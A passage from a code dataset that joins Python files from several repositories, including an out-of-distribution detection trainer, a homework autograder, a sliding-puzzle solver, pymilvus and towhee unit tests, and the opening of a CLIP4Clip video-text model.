nn.Linear(512 * block.expansion, num_classes) self.dim_aux = dim_aux if self.dim_aux > 0: hidden_size = self.fc.in_features self.fc_aux = nn.Linear(hidden_size, self.dim_aux) def _make_layer(self, block, planes, num_blocks, stride): strides = [stride] + [1] * (num_blocks - 1) layers = [] for stride in strides: layers.append(block(self.in_planes, planes, stride)) self.in_planes = planes * block.expansion return nn.Sequential(*layers) def forward(self, x, return_feature=False, return_aux=False, use_cam=False): out = F.relu(self.bn1(self.conv1(x))) out = self.layer1(out) out = self.layer2(out) out = self.layer3(out) featconv = self.layer4(out) out = self.avgpool(featconv) feat = out.view(out.size(0), -1) logits_cls = self.fc(feat) if self.dim_aux > 0: if return_aux: logits_aux = self.fc_aux(feat) if return_feature: if use_cam: return logits_cls, logits_aux, featconv else: return logits_cls, logits_aux, feat else: return logits_cls, logits_aux else: if return_feature: if use_cam: return logits_cls, featconv else: return logits_cls, feat else: return logits_cls else: if return_feature: if use_cam: return logits_cls, featconv else: return logits_cls, feat else: return logits_cls ``` #### File: scood/postprocessors/ebo_postprocessor.py ```python from typing import Any import torch import torch.nn as nn from .base_postprocessor import BasePostprocessor class EBOPostprocessor(BasePostprocessor): def __init__(self, temperature: float = 100.0): super().__init__() self.temperature = temperature @torch.no_grad() def __call__( self, net: nn.Module, data: Any, ): output = net(data) score = torch.softmax(output, dim=1) conf, pred = torch.max(score, dim=1) conf = self.temperature * torch.logsumexp(output / self.temperature, dim=1) return pred, conf ``` #### File: scood/trainers/udg_trainer.py ```python import time import numpy as np import torch import torch.nn as nn import torch.nn.functional as F from scood.k_means import KMeans from scood.losses import rew_ce, rew_sce from scood.utils import sort_array from torch.utils.data import DataLoader from .base_trainer import BaseTrainer class UDGTrainer(BaseTrainer): def __init__( self, net: nn.Module, labeled_train_loader: DataLoader, unlabeled_train_loader: DataLoader, learning_rate: float = 0.1, momentum: float = 0.9, weight_decay: float = 0.0005, epochs: int = 100, num_clusters: int = 1000, pca_dim: int = 256, idf_method: str = "udg", purity_ind_thresh: float = 0.8, purity_ood_thresh: float = 0.8, oe_enhance_ratio: float = 2.0, lambda_oe: float = 0.5, lambda_aux: float = 0.1, ) -> None: super().__init__( net, labeled_train_loader, learning_rate=learning_rate, momentum=momentum, weight_decay=weight_decay, epochs=epochs, ) self.unlabeled_train_loader = unlabeled_train_loader self.num_clusters = num_clusters self.idf_method = idf_method self.purity_ind_thresh = purity_ind_thresh self.purity_ood_thresh = purity_ood_thresh self.oe_enhance_ratio = oe_enhance_ratio self.lambda_oe = lambda_oe self.lambda_aux = lambda_aux # Init clustering algorithm self.k_means = KMeans(k=num_clusters, pca_dim=pca_dim) def train_epoch(self): self._run_clustering() metrics = self._compute_loss() return metrics def _compute_loss(self): self.net.train() # enter train mode loss_avg, loss_cls_avg, loss_oe_avg, loss_aux_avg = 0.0, 0.0, 0.0, 0.0 train_dataiter = iter(self.labeled_train_loader) unlabeled_dataiter = iter(self.unlabeled_train_loader) for train_step in range(1, len(train_dataiter) + 1): batch = next(train_dataiter) try: unlabeled_batch = next(unlabeled_dataiter) except StopIteration: unlabeled_dataiter = iter(self.unlabeled_train_loader) unlabeled_batch = next(unlabeled_dataiter) data = batch["data"].cuda() unlabeled_data = unlabeled_batch["data"].cuda() # concat labeled and unlabeled data logits_cls, logits_aux = self.net(data, return_aux=True) logits_oe_cls, logits_oe_aux = self.net(unlabeled_data, return_aux=True) # classification loss concat_logits_cls = torch.cat([logits_cls, logits_oe_cls]) concat_label = torch.cat( [ batch["label"], unlabeled_batch["pseudo_label"].type_as(batch["label"]), ] ) loss_cls = F.cross_entropy( concat_logits_cls[concat_label != -1], concat_label[concat_label != -1].cuda(), ) # oe loss concat_softlabel = torch.cat( [batch["soft_label"], unlabeled_batch["pseudo_softlabel"]] ) concat_conf = torch.cat([batch["ood_conf"], unlabeled_batch["ood_conf"]]) loss_oe = rew_sce( concat_logits_cls[concat_label == -1], concat_softlabel[concat_label == -1].cuda(), concat_conf[concat_label == -1].cuda(), ) # aux loss concat_logits_aux = torch.cat([logits_aux, logits_oe_aux]) concat_cluster_id = torch.cat( [batch["cluster_id"], unlabeled_batch["cluster_id"]] ) concat_cluster_reweight = torch.cat( [batch["cluster_reweight"], unlabeled_batch["cluster_reweight"]] ) loss_aux = rew_ce( concat_logits_aux, concat_cluster_id.cuda(), concat_cluster_reweight.cuda(), ) # loss addition loss = loss_cls + self.lambda_oe * loss_oe + self.lambda_aux * loss_aux # backward self.optimizer.zero_grad() loss.backward() self.optimizer.step() self.scheduler.step() with torch.no_grad(): # exponential moving average, show smooth values loss_cls_avg = loss_cls_avg * 0.8 + float(loss_cls) * 0.2 loss_oe_avg = loss_oe_avg * 0.8 + float(self.lambda_oe * loss_oe) * 0.2 loss_aux_avg = ( loss_aux_avg * 0.8 + float(self.lambda_aux * loss_aux) * 0.2 ) loss_avg = loss_avg * 0.8 + float(loss) * 0.2 metrics = {} metrics["train_cls_loss"] = loss_cls_avg metrics["train_oe_loss"] = loss_oe_avg metrics["train_aux_loss"] = loss_aux_avg metrics["train_loss"] = loss_avg return metrics def _run_clustering(self): self.net.eval() start_time = time.time() # get data from train loader print( "######### Clustering: starting gather training features... ############", flush=True, ) # gather train image feature train_idx_list, unlabeled_idx_list, feature_list, train_label_list = ( [], [], [], [], ) train_dataiter = iter(self.labeled_train_loader) for step in range(1, len(train_dataiter) + 1): batch = next(train_dataiter) index = batch["index"] label = batch["label"] # we use no augmented image for clustering data = batch["plain_data"].cuda() _, feature = self.net(data, return_feature=True) feature = feature.detach() # evaluation for idx in range(len(data)): train_idx_list.append(index[idx].tolist()) train_label_list.append(label[idx].tolist()) feature_list.append(feature[idx].cpu().tolist()) num_train_data = len(feature_list) train_idx_list = np.array(train_idx_list, dtype=int) train_label_list = np.array(train_label_list, dtype=int) train_label_list = sort_array(train_label_list, train_idx_list) # in-distribution samples always have pseudo labels == actual labels self.labeled_train_loader.dataset.pseudo_label = train_label_list torch.cuda.empty_cache() # gather unlabeled image feature in order unlabeled_conf_list, unlabeled_pseudo_list = [], [] unlabeled_dataiter = iter(self.unlabeled_train_loader) for step in range(1, len(unlabeled_dataiter) + 1): batch = next(unlabeled_dataiter) index = batch["index"] # we use no augmented image for clustering data = batch["plain_data"].cuda() logit, feature = self.net(data, return_feature=True) feature = feature.detach() logit = logit.detach() score = torch.softmax(logit, dim=1) conf, pseudo = torch.max(score, dim=1) # evaluation for idx in range(len(data)): unlabeled_idx_list.append(index[idx].tolist()) feature_list.append(feature[idx].cpu().tolist()) unlabeled_conf_list.append(conf[idx].cpu().tolist()) unlabeled_pseudo_list.append(pseudo[idx].cpu().tolist()) feature_list = np.array(feature_list) unlabeled_idx_list = np.array(unlabeled_idx_list, dtype=int) unlabeled_conf_list = np.array(unlabeled_conf_list) unlabeled_pseudo_list = np.array(unlabeled_pseudo_list) unlabeled_conf_list = sort_array(unlabeled_conf_list, unlabeled_idx_list) unlabeled_pseudo_list = sort_array(unlabeled_pseudo_list, unlabeled_idx_list) torch.cuda.empty_cache() print("Assigning Cluster Labels...", flush=True) cluster_id = self.k_means.cluster(feature_list) train_cluster_id = cluster_id[:num_train_data] unlabeled_cluster_id = cluster_id[num_train_data:] # assign cluster id to samples. Sorted by shuffle-recording index. train_cluster_id = sort_array(train_cluster_id, train_idx_list) unlabeled_cluster_id = sort_array(unlabeled_cluster_id, unlabeled_idx_list) self.labeled_train_loader.dataset.cluster_id = train_cluster_id self.unlabeled_train_loader.dataset.cluster_id = unlabeled_cluster_id cluster_id = np.concatenate([train_cluster_id, unlabeled_cluster_id]) # reweighting based on samples in clusters cluster_stat = np.zeros(self.num_clusters) cluster_id_list, cluster_id_counts = np.unique(cluster_id, return_counts=True) for cluster_idx, counts in zip(cluster_id_list, cluster_id_counts): cluster_stat[cluster_idx] = counts inv_class_freq = 1 / (cluster_stat + 1e-10) sample_weight = np.power(inv_class_freq, 0.5) sample_weight *= 1 / sample_weight.mean() sample_weight_list = np.array([sample_weight[i] for i in cluster_id]) self.labeled_train_loader.dataset.cluster_reweight = sample_weight_list[ :num_train_data ] self.unlabeled_train_loader.dataset.cluster_reweight = sample_weight_list[ num_train_data: ] print("In-Distribution Filtering (with OOD Enhancement)...", flush=True) old_train_pseudo_label = self.labeled_train_loader.dataset.pseudo_label old_unlabeled_pseudo_label = self.unlabeled_train_loader.dataset.pseudo_label old_pseudo_label = np.append( old_train_pseudo_label, old_unlabeled_pseudo_label ).astype(int) new_pseudo_label = (-1 * np.ones_like(old_pseudo_label)).astype(int) # process ood confidence for oe loss enhancement (ole) new_ood_conf = np.ones_like(old_pseudo_label).astype(float) if self.idf_method == "udg": total_num_to_filter = 0 purity_ind_thresh = self.purity_ind_thresh purity_ood_thresh = self.purity_ood_thresh # pick out clusters with purity over threshold for cluster_idx in range(self.num_clusters): label_in_cluster, label_counts = np.unique( old_pseudo_label[cluster_id == cluster_idx], return_counts=True ) cluster_size = len(old_pseudo_label[cluster_id == cluster_idx]) purity = label_counts / cluster_size # purity list for each label # idf if np.any(purity > purity_ind_thresh): majority_label = label_in_cluster[purity > purity_ind_thresh][ 0 ] # first element in the list new_pseudo_label[ cluster_id == cluster_idx ] = majority_label # this might also change some ID but nvm if majority_label > 0: # ID cluster num_to_filter = len(label_in_cluster == -1) total_num_to_filter += num_to_filter # ole elif np.any(purity > purity_ood_thresh): majority_label = label_in_cluster[purity > purity_ood_thresh][0] if majority_label == -1: new_ood_conf[cluster_id == cluster_idx] = self.oe_enhance_ratio print(f"{total_num_to_filter} number of sample filtered!", flush=True) elif self.idf_method == "conf": conf_thresh = self.purity_ind_thresh new_pseudo_label[num_train_data:][ unlabeled_conf_list > conf_thresh ] = unlabeled_pseudo_list[unlabeled_conf_list > conf_thresh] print( f"Filter {sum(unlabeled_conf_list > conf_thresh)} samples", flush=True ) elif self.idf_method == "sort": conf_thresh = self.purity_ind_thresh num_to_filter = int((1 - conf_thresh) * len(old_unlabeled_pseudo_label)) new_id_index = np.argsort(-unlabeled_conf_list)[:num_to_filter] new_pseudo_label[num_train_data:][new_id_index] = unlabeled_pseudo_list[ new_id_index ] print(f"Filter {num_to_filter} samples", flush=True) elif self.idf_method == "none": print(f"IDF Disabled, 0 samples filtered", flush=True) self.unlabeled_train_loader.dataset.pseudo_label = new_pseudo_label[ num_train_data: ] self.unlabeled_train_loader.dataset.ood_conf = new_ood_conf[num_train_data:] print("Randomize Auxiliary Head...", flush=True) if hasattr(self.net, "fc_aux"): # reset auxiliary branch self.net.fc_aux.weight.data.normal_(mean=0.0, std=0.01) self.net.fc_aux.bias.data.zero_() else: # reset fc for unsupervised learning (baseline) self.net.fc.weight.data.normal_(mean=0.0, std=0.01) self.net.fc.bias.data.zero_() print( "######### Online Clustering Completed! Duration: {:.2f}s ############".format( time.time() - start_time ), flush=True, ) ``` #### File: scood/trainers/utils.py ```python from typing import Any, Dict import torch.nn as nn from torch.utils.data import DataLoader from .oe_trainer import OETrainer from .udg_trainer import UDGTrainer def get_trainer( name: str, net: nn.Module, labeled_train_loader: DataLoader, unlabeled_train_loader: DataLoader, optim_args: Dict[str, Any], trainer_args: Dict[str, Any], ): trainers = { "oe": OETrainer, "udg": UDGTrainer, } return trainers[name]( net, labeled_train_loader, unlabeled_train_loader, **optim_args, **trainer_args ) ```
{ "source": "JingkangZhang/autoAG", "score": 2 }
#### File: autoAG/autograder_script/test.py ```python from ast import parse, NodeVisitor, Name import traceback _NAMES = { 'Add': '+', 'And': 'and', 'Assert': 'assert', 'Assign': '=', 'AugAssign': 'op=', 'BitAnd': '&', 'BitOr': '|', 'BitXor': '^', 'Break': 'break', 'Recursion': 'recursive call', 'ClassDef': 'class', 'Continue': 'continue', 'Del': 'del', 'Delete': 'delete', 'Dict': '{...}', 'DictComp': '{...}', 'Div': '/', 'Ellipsis': '...', 'Eq': '==', 'ExceptHandler': 'except', 'ExtSlice': '[::]', 'FloorDiv': '//', 'For': 'for', 'FunctionDef': 'def', 'GeneratorExp': '(... for ...)', 'Global': 'global', 'Gt': '>', 'GtE': '>=', 'If': 'if', 'IfExp': '...if...else...', 'Import': 'import', 'ImportFrom': 'from ... import ...', 'In': 'in', 'Index': '...[...]', 'Invert': '~', 'Is': 'is', 'IsNot': 'is not ', 'LShift': '<<', 'Lambda': 'lambda', 'List': '[...]', 'ListComp': '[...for...]', 'Lt': '<', 'LtE': '<=', 'Mod': '%', 'Mult': '*', 'Nonlocal': 'nonlocal', 'Not': 'not', 'NotEq': '!=', 'NotIn': 'not in', 'Or': 'or', 'Pass': 'pass', 'Pow': '**', 'RShift': '>>', 'Raise': 'raise', 'Return': 'return', 'Set': '{ ... } (set)', 'SetComp': '{ ... for ... } (set)', 'Slice': '[ : ]', 'Starred': '', 'Sub': '-', 'Subscript': '[]', 'Try': 'try', 'Tuple': '(... , ... )', 'UAdd': '+', 'USub': '-', 'While': 'while', 'With': 'with', 'Yield': 'yield', 'YieldFrom': 'yield from', } def check(source_file, checked_funcs, disallow, source=None): """Checks that AST nodes whose type names are present in DISALLOW (an object supporting 'in') are not present in the function(s) named CHECKED_FUNCS in SOURCE. By default, SOURCE is the contents of the file SOURCE_FILE. CHECKED_FUNCS is either a string (indicating a single name) or an object of some other type that supports 'in'. CHECKED_FUNCS may contain __main__ to indicate an entire module. Prints reports of each prohibited node and returns True iff none are found. See ast.__dir__() for AST type names. The special node name 'Recursion' checks for overtly recursive calls (i.e., calls of the form NAME(...) where NAME is an enclosing def.""" return ExclusionChecker(disallow).check(source_file, checked_funcs, source) class ExclusionChecker(NodeVisitor): """An AST visitor that checks that certain constructs are excluded from parts of a program. ExclusionChecker(EXC) checks that AST node types whose names are in the sequence or set EXC are not present. Its check method visits nodes in a given function of a source file checking that the indicated node types are not used.""" def __init__(self, disallow=()): """DISALLOW is the initial default list of disallowed node-type names.""" self._disallow = set(disallow) self._checking = False self._errs = 0 def generic_visit(self, node): if self._checking and type(node).__name__ in self._disallow: self._report(node) super().generic_visit(node) def visit_Module(self, node): if "__main__" in self._checked_funcs: self._checking = True self._checked_name = self._source_file super().generic_visit(node) def visit_Call(self, node): if 'Recursion' in self._disallow and \ type(node.func) is Name and \ node.func.id in self._func_nest: self._report(node, "should not be recursive") self.generic_visit(node) def visit_FunctionDef(self, node): self._func_nest.append(node.name) if self._checking: self.generic_visit(node) elif node.name in self._checked_funcs: self._checked_name = "Function " + node.name checking0 = self._checking self._checking = True super().generic_visit(node) self._checking = checking0 self._func_nest.pop() def _report(self, node, msg=None): node_name = _NAMES.get(type(node).__name__, type(node).__name__) if msg is None: msg = "should not contain '{}'".format(node_name) print("{} {}".format(self._checked_name, msg)) self._errs += 1 def errors(self): """Returns the number of number of prohibited constructs found in the last call to check.""" return self._errs def check(self, source_file, checked_funcs, disallow=None, source=None): """Checks that AST nodes whose type names are present in DISALLOW (an object supporting the contains test) are not present in the function(s) named CHECKED_FUNCS in SOURCE. By default, SOURCE is the contents of the file SOURCE_FILE. DISALLOW defaults to the argument given to the constructor (and resets that value if it is present). CHECKED_FUNCS is either a string (indicating a single name) or an object of some other type that supports 'in'. CHECKED_FUNCS may contain __main__ to indicate an entire module. Prints reports of each prohibited node and returns True iff none are found. See ast.__dir__() for AST type names. The special node name 'Recursion' checks for overtly recursive calls (i.e., calls of the form NAME(...) where NAME is an enclosing def.""" self._checking = False self._source_file = source_file self._func_nest = [] if type(checked_funcs) is str: self._checked_funcs = { checked_funcs } else: self._checked_funcs = set(checked_funcs) if disallow is not None: self._disallow = set(disallow) if source is None: with open(source_file, 'r', errors='ignore') as inp: source = inp.read() p = parse(source, source_file) self._errs = 0 self.visit(p) return self._errs == 0 import homework import sys import io print("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=") class Test: def assertEqual(self, a, b): return a==b def __init__(self, question): self.question = question self.tests_passed = 0 self.test_type = question["advancedSetting"]["testType"] def test(self, suppress=False): if suppress: # create a text trap and redirect stdout text_trap = io.StringIO() sys.stdout = text_trap print("---------------------------------------------------------------------\n") if self.test_type == "simple": print("Testing {}:\n".format(self.question['functionName'] if self.question['advancedSetting']['testName'].strip() == "" else self.question['advancedSetting']['testName'])) elif self.test_type == "unit_test": print("Running Unit Test '{}'".format(self.question['functionName'])) for testCase in self.question['testCases']: if not self.test_one_pair(testCase): print("{} test(s) passed before encountering the first failed case.".format(self.tests_passed)) print("\n---------------------------------------------------------------------") sys.stdout = sys.__stdout__ return (False, 0) if self.test_type == "simple": comma = "," if self.question['advancedSetting']['disallowedUse'] else "" disallowedUse = eval("(" + self.question['advancedSetting']['disallowedUse'] + comma + ")") if disallowedUse: if (not check("homework.py", self.question['functionName'], disallowedUse)): print("Please revise your code and remove these usages.") print("\n---------------------------------------------------------------------") sys.stdout = sys.__stdout__ return (False, 0) print("All {} cases passed. No cases failed.".format(len(self.question['testCases']))) print("\n---------------------------------------------------------------------") sys.stdout = sys.__stdout__ return (True, int(self.question["advancedSetting"]["fullScore"])) def test_one_pair(self, testCase): if self.test_type == "simple": try: expected = eval(testCase[1]) except: print("It's not you; it's us! \n" + "There's an error in the test case: cannot evaluate '" + testCase[1] + "'\n" + "Please contact your teacher. \n") return False funcCallRepr = self.question["functionName"] + "(" + testCase[0] + ")" try: answer = eval("homework." + self.question["functionName"] + "(" + testCase[0] + ")") except Exception as ex: print("Running {}:\n".format(funcCallRepr)) print(traceback.format_exc()) print("Current test terminated.\n") return False if self.assertEqual(answer, expected): self.tests_passed += 1 return True else: print("Running {}:".format(funcCallRepr)) print("Expected: {}\nGot: {}\n".format(expected.__repr__(), answer.__repr__())) return False else: if self.question["advancedSetting"]["display"] == "show": f = "homework." + self.question["functionName"] else: f = "unit_" + self.question["functionName"] try: return eval(f + "("+ testCase + ")") except: print(traceback.format_exc()) print("Current test terminated.\n") return False # questionNames = [ question['functionName'] if question['advancedSetting']['testName'].strip() == "" else question['advancedSetting']['testName'] for question in d["tests"]] questionD = {question['functionName'] if question["advancedSetting"]["testType"] == "unit_test" or question['advancedSetting']['testName'].strip() == "" else question['advancedSetting']['testName'] : Test(question) for question in d["tests"] #d is the autoAG file content (a dictionary). Open a file to see it's structure if question["advancedSetting"]["testType"] != "unit" } if len(sys.argv) > 1: assert sys.argv[1] in questionD, "\nThe command line argument you passed in is not a valid function name; choose from {}\n".format(list(questionD.keys()).__repr__()) questionD[sys.argv[1]].test() else: result = [t.test(suppress=False) for t in questionD.values()] passed = str(sum([1 for x in result if x[0]])) score = str(sum([x[1] for x in result])) print("Ran:", len(result), "tests") print("Passed:", passed) if d["pointsEnabled"]: print("Total score: " + score + "/" + str(sum([int(t["advancedSetting"]["fullScore"]) for t in d["tests"] if t["advancedSetting"]["testType"] != "unit"]))) print("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=") ```
{ "source": "JingkangZhang/SlidingPuzzle", "score": 4 }
#### File: JingkangZhang/SlidingPuzzle/puzzle.py ```python from copy import deepcopy # Used to copy boards represented as 2D lists from random import choice # Used in shuffle() to choose randomly from legal actions from time import sleep # Used in visualization import os # useful for clear console screen utility sample_board = [ #represented as a 2D list [1,2,3], [4,5,6], [7,8,0] # 0 stands for the empty slot ] ACTIONS = ["up", "down", "left", "right"] #Actions are represented as ways to move the empty slot (0) around. def print_board(board): '''Prints BOARD to console in the following format: ------------- | 4 | 3 | 6 | ------------- | | 5 | 7 | ------------- | 1 | 8 | 4 | ------------- ''' print("-------------") for row in range(len(board)): print("| ", end="") for col in range(len(board[0])): content = board[row][col] print(content if content != 0 else " ", end=" | ") print("\n-------------") def play(): ''' Plays a sliding puzzle game by 1. Shuffling the sample_board to get initial board state 2. Solve the puzzle and obtain a list of actions 3. Visualize the solution ''' board = shuffle(sample_board) print("This is the randomly shuffled initial state:") print_board(board) print("Solving...") actions = solve(board) if actions == "NO_SOLUTION": # A correct shuffle function should NOT result in NO_SOLUTION. print("There is no solution from current state.") return print("Solved!") input("Press Enter to start visualization: ") visualize(board, actions) def visualize(board, actions): ''' Visualize the transitions in BOARD by printing each states after taking actions. Transition time interval: 1 second. The screen is cleared by calling cls() before printing. ''' copy = deepcopy(board) cls() print_board(copy) sleep(1) for action in actions: copy = take(action, copy) cls() print_board(copy) sleep(1) print("Solved! Total steps:", len(actions)) print("Initial state:") print_board(board) print("Actions took:", actions, "(Actions are defined as ways the empty slot is moved around.)") def find_zero(board): '''Returns the coordinate as (row_number, column_number) of "0" (the empty slot) in BOARD. E.g. The zero coordinate of the following board is (1, 0) ------------- | 2 | 3 | 6 | ------------- | | 5 | 7 | ------------- | 1 | 8 | 4 | ------------- ''' for row in range(len(board)): for col in range(len(board[0])): if board[row][col] == 0: return row, col def get_legal_actions(board): '''Returns a list of legal actions in BOARD. Actions are represented as ways to move the empty slot (0) around. An action should be in ["up", "down", "left", "right"]. E.g. In the following board, the legal actions are ["up", "down", "right"]. ------------- | 2 | 3 | 6 | ------------- | | 5 | 7 | ------------- | 1 | 8 | 4 | -------------''' zero_pos = find_zero(board) board_rows = len(board) board_cols = len(board[0]) actions = ACTIONS[:] if zero_pos[0] == 0: actions.remove("up") if zero_pos[0] == board_rows - 1: actions.remove("down") if zero_pos[1] == 0: actions.remove("left") if zero_pos[1] == board_cols - 1: actions.remove("right") return actions def take(action, board): '''Returns the resulting board after taking ACTION on BOARD, assuming ACTION is legal. ACTION should be in ["up", "down", "left", "right"]. Actions are represented as ways to move the empty slot (0) around. E.g. ------------- | 2 | 3 | 6 | ------------- | | 5 | 7 | ------------- | 1 | 8 | 4 | ------------- Taking action "up" in the above board will result in the following board: ------------- | | 3 | 6 | ------------- | 2 | 5 | 7 | ------------- | 1 | 8 | 4 | ------------- ''' assert action in ACTIONS, "Invalid action: '{}'".format(action) zero_pos = find_zero(board) zero_row = zero_pos[0] zero_col = zero_pos[1] new_board = deepcopy(board) if action == "up": new_board[zero_row][zero_col], new_board[zero_row - 1][zero_col] = new_board[zero_row - 1][zero_col], new_board[zero_row][zero_col] if action == "down": new_board[zero_row][zero_col], new_board[zero_row + 1][zero_col] = new_board[zero_row + 1][zero_col], new_board[zero_row][zero_col] if action == "left": new_board[zero_row][zero_col], new_board[zero_row][zero_col - 1] = new_board[zero_row][zero_col - 1], new_board[zero_row][zero_col] if action == "right": new_board[zero_row][zero_col], new_board[zero_row][zero_col + 1] = new_board[zero_row][zero_col + 1], new_board[zero_row][zero_col] return new_board def shuffle(board): '''Return a new board obtained by taking 50 random actions from BOARD. ''' new_board = deepcopy(board) for i in range(50): action = choice(get_legal_actions(new_board)) new_board = take(action, new_board) return new_board def is_goal(board): '''Returns True iff BOARD is ------------- | 1 | 2 | 3 | ------------- | 4 | 5 | 6 | ------------- | 7 | 8 | | -------------''' return board == [[1,2,3],[4,5,6],[7,8,0]] def solve(board): '''Returns a list of actions which, taken on BOARD, solves the puzzle by turning the board into the following form: ------------- | 1 | 2 | 3 | ------------- | 4 | 5 | 6 | ------------- | 7 | 8 | | ------------- Returns "NO_SOLUTION" if there is no solution. ''' visited = set() # This stores boards converted to strings from 2D lists. q = [] q.append([[board, None]]) # The elements on the fringe are (board_state, last_action) while q: path = q.pop(0) last_board = path[-1][0] if str(last_board) not in visited: visited.add(str(last_board)) if is_goal(last_board): # return path return [state[1] for state in path][1:] # We only need to return a list of actions for action in get_legal_actions(last_board): new_state = [take(action, last_board), action] new_path = path + [new_state] q.append(new_path) return "NO_SOLUTION" def cls(): '''Clears the terminal screen.''' os.system('cls' if os.name=='nt' else 'clear') if __name__ == '__main__': print("====================================================") print("Welcome to ReadyPython Project: Silding Puzzle!") play() ```
{ "source": "jingkl/pymilvus", "score": 2 }
#### File: pymilvus/tests/test_check.py ```python import pytest from pymilvus.client.check import check_pass_param from pymilvus.client.utils import generate_timestamp class TestCheckPassParam: def test_check_pass_param_valid(self): a = [[i * j for i in range(20)] for j in range(20)] check_pass_param(search_data=a) import numpy as np a = np.float32([[1, 2, 3, 4], [1, 2, 3, 4]]) check_pass_param(search_data=a) def test_check_param_invalid(self): with pytest.raises(Exception): a = {[i * j for i in range(20) for j in range(20)]} check_pass_param(search_data=a) with pytest.raises(Exception): a = [{i * j for i in range(40)} for j in range(40)] check_pass_param(search_data=a) class TestGenTS: def test_gen_timestamp(self): t = generate_timestamp(426152581543231492, 1000) print(f"Generated ts: {t}") ```
{ "source": "jingkl/towhee", "score": 2 }
#### File: unittests/functional/test_data_collection.py ```python import doctest import unittest from pathlib import Path from collections import namedtuple import towhee.functional.data_collection import towhee.functional.option from towhee import ops from towhee import register from towhee import DataCollection from towhee import param_scope from towhee import Entity import towhee public_path = Path(__file__).parent.parent.resolve() @register(name='myop/add-1') def add_1(x): return x + 1 @register(name='myop/add', output_schema=namedtuple('output', [('result')])) class MyAdd: def __init__(self, val): self.val = val def __call__(self, x): return x + self.val @register(name='myop/mul') class MyMul: def __init__(self, val): self.val = val def __call__(self, x): return x * self.val dispatcher = {'add': MyAdd, 'mul': MyMul} class TestDataCollection(unittest.TestCase): """ tests for data collection """ def test_example_for_basic_api(self): dc = towhee.dc(range(10)) result = dc.map(lambda x: x + 1).filter(lambda x: x < 3) self.assertListEqual(list(result), [1, 2]) def test_example_for_dispatch_op(self): with param_scope(dispatcher=dispatcher): dc = DataCollection(range(5)) result = dc.add(1) self.assertListEqual(list(result), [1, 2, 3, 4, 5]) def test_example_for_chained_towhee_op(self): dc = DataCollection(range(5)) result = ( # dc # >> ops.myop.add(val=1) # >> ops.myop.mul(val=2) # ) self.assertListEqual(list(result), [2, 4, 6, 8, 10]) def test_example_for_multiple_line_statement(self): dc = DataCollection(range(5)) result = dc \ .myop.add(val=1) \ .myop.mul(val=2) \ .to_list() self.assertListEqual(result, [2, 4, 6, 8, 10]) def test_from_json(self): json_path = public_path / 'test_util' / 'test_mixins' / 'test.json' res = DataCollection.from_json(json_path) self.assertTrue(isinstance(res, DataCollection)) for i in res: self.assertTrue(isinstance(i, Entity)) def test_from_csv(self): csv_path = public_path / 'test_util' / 'test_mixins' / 'test.csv' res = DataCollection.from_csv(csv_path) self.assertTrue(isinstance(res, DataCollection)) for i in res: self.assertTrue(isinstance(i, Entity)) def test_runas_op(self): def add(x): return x + 1 entities = [Entity(a=i, b=i + 1) for i in range(5)] dc = DataCollection(entities) res = dc.runas_op['a', 'b'](func=lambda x: x - 1) for i in res: self.assertTrue(i.a == i.b + 1) res = dc.runas_op['a', 'b'](func=add) for i in res: self.assertTrue(i.a == i.b - 1) self.assertRaises(ValueError, dc.runas_op['a', 'b'], add) def test_head(self): entities = [Entity(a=i, b=i + 1) for i in range(5)] dc = DataCollection(entities) dc.head(1) json_path = public_path / 'test_util' / 'test_mixins' / 'test.json' res = DataCollection.from_json(json_path) res.head(1) def test_classifier_procedure(self): csv_path = public_path / 'test_util' / 'data.csv' out = DataCollection.from_csv(csv_path=csv_path).unstream() # pylint: disable=unnecessary-lambda out = ( out.runas_op['a', 'a'](func=lambda x: int(x)) .runas_op['b', 'b'](func=lambda x: int(x)) .runas_op['c', 'c'](func=lambda x: int(x)) .runas_op['d', 'd'](func=lambda x: int(x)) .runas_op['e', 'e'](func=lambda x: int(x)) .runas_op['target', 'target'](func=lambda x: int(x)) ) out = out.tensor_hstack[('a', 'b', 'c', 'd', 'e'), 'fea']() train, test = out.split_train_test() train.set_training().logistic_regression[('fea', 'target'), 'lr_train_predict'](name='logistic') test.set_evaluating(train.get_state()) \ .logistic_regression[('fea', 'target'), 'lr_evaluate_predict'](name = 'logistic') \ .with_metrics(['accuracy', 'recall']) \ .evaluate['target', 'lr_evaluate_predict']('lr') \ .report() train.set_training().decision_tree[('fea', 'target'), 'dt_train_predict'](name='decision_tree') test.set_evaluating(train.get_state()) \ .decision_tree[('fea', 'target'), 'dt_evaluate_predict'](name = 'decision_tree') \ .with_metrics(['accuracy', 'recall']) \ .evaluate['target', 'dt_evaluate_predict']('dt') \ .report() train.set_training().svc[('fea', 'target'), 'svm_train_predict'](name='svm_classifier') test.set_evaluating(train.get_state()) \ .svc[('fea', 'target'), 'svm_evaluate_predict'](name = 'svm_classifier') \ .with_metrics(['accuracy', 'recall']) \ .evaluate['target', 'svm_evaluate_predict']('svm') \ .report() def load_tests(loader, tests, ignore): #pylint: disable=unused-argument tests.addTests(doctest.DocTestSuite(towhee.functional.data_collection)) tests.addTests(doctest.DocTestSuite(towhee.functional.option)) return tests if __name__ == '__main__': unittest.main() ``` #### File: models/clip4clip/clip4clip.py ```python import torch import logging from typing import Union from torch import nn from towhee.models.clip4clip.until_module import PreTrainedModel, CrossEn from towhee.models.clip import CLIP, get_configs logger = logging.getLogger(__name__) class CLIP4ClipPreTrainedModel(PreTrainedModel, nn.Module): """ An abstract class to handle weights initialization and a simple interface for dowloading and loading pretrained models. """ def __init__(self): super().__init__() self.clip = None class CLIP4Clip(CLIP4ClipPreTrainedModel): """ CLIP4Clip model from the paper: https://arxiv.org/abs/2104.08860 Only meanP and 2d type reserved because of its performance. """ def __init__(self, embed_dim, image_resolution, vision_layers, vision_width, vision_patch_size, context_length, vocab_size, transformer_width, transformer_heads, transformer_layers): super().__init__() self.ignore_video_index = -1 self.loose_type = True self.linear_patch = "2d" self.clip = CLIP( embed_dim, image_resolution, vision_layers, vision_width, vision_patch_size, context_length, vocab_size, transformer_width, transformer_heads, transformer_layers, clip4clip=True ).float() self.sim_header = "meanP" self.loss_fct = CrossEn() self.apply(self.init_weights) def forward(self, input_ids, video, video_mask=None): input_ids = input_ids.view(-1, input_ids.shape[-1]) video_mask = video_mask.view(-1, video_mask.shape[-1]) # T x 3 x H x W video = torch.as_tensor(video).float() b, pair, 